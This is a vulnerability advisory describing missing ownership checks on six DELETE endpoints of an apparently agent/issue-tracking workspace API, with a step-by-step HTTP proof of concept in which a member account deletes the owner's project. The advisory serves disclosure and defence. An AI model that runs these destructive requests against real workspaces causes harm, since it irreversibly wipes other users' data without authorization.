PYSEC-2026-3526

Summary

A workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly.

Details

The published role capability matrix explicitly restricts members from modifying others' content:

| Capability | Owner | Admin | Member | |---|---|---|---| | Create issues/tasks | ✅ | ✅ | ✅ | | Edit own content | ✅ | ✅ | ✅ | | Edit others' content | ✅ | ✅ | ❌ |

The DELETE handlers for all content resources check that the requesting user is a workspace member, but do not verify that the user either created the resource or holds an owner/admin role. The result is that the member role has unrestricted DELETE access over all workspace content regardless of who created it.

Confirmed vulnerable endpoints:

| Endpoint | Expected | Actual | |---|---|---| | DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id} | 403 | 204 | | DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id} | 403 | 204 | | DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id} | 403 | 204 | | DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id} | 403 | 204 | | DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id} | 403 | 204 | | DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id} | 403 | 204 |

The missing check is isolated to content resource DELETEs.

PoC

Requirements: Two accounts — owner (resource creator) and member (attacker).

1. Register both accounts

POST /api/v1/auth/register
Content-Type: application/json

{"email": "owner@example.com", "password": "Password1!", "name": "owner"}

POST /api/v1/auth/register
Content-Type: application/json

{"email": "member@example.com", "password": "Password1!", "name": "member"}

2. Owner creates workspace, adds member with member role

POST /api/v1/workspaces/
Authorization: Bearer <owner_token>
Content-Type: application/json

{"name": "Test Workspace"}

POST /api/v1/workspaces/{workspace_id}/members
Authorization: Bearer <owner_token>
Content-Type: application/json

{"user_id": "<member_user_id>", "role": "member"}

3. Owner creates a project

POST /api/v1/workspaces/{workspace_id}/projects/
Authorization: Bearer <owner_token>
Content-Type: application/json

{"title": "Owner's Project"}

Response 201 Created:

{"id": "29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6", "title": "Owner's Project", ...}

4. Member deletes the owner's project

DELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6
Authorization: Bearer <member_token>

Response: 204 No Content

5. Owner confirms the project is permanently gone

GET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6
Authorization: Bearer <owner_token>

Response: 404 Not Found

{"detail": "Project not found"}

The same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments).

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Impact

This is an improper authorization vulnerability. A workspace member can delete resources (projects, agents, issues, labels) created by other workspace members or the owner. The documented permission model restricts members to managing only their own content — the DELETE endpoints do not enforce this.

Who is impacted: Workspace owners and members who share a workspace with untrusted or compromised member accounts.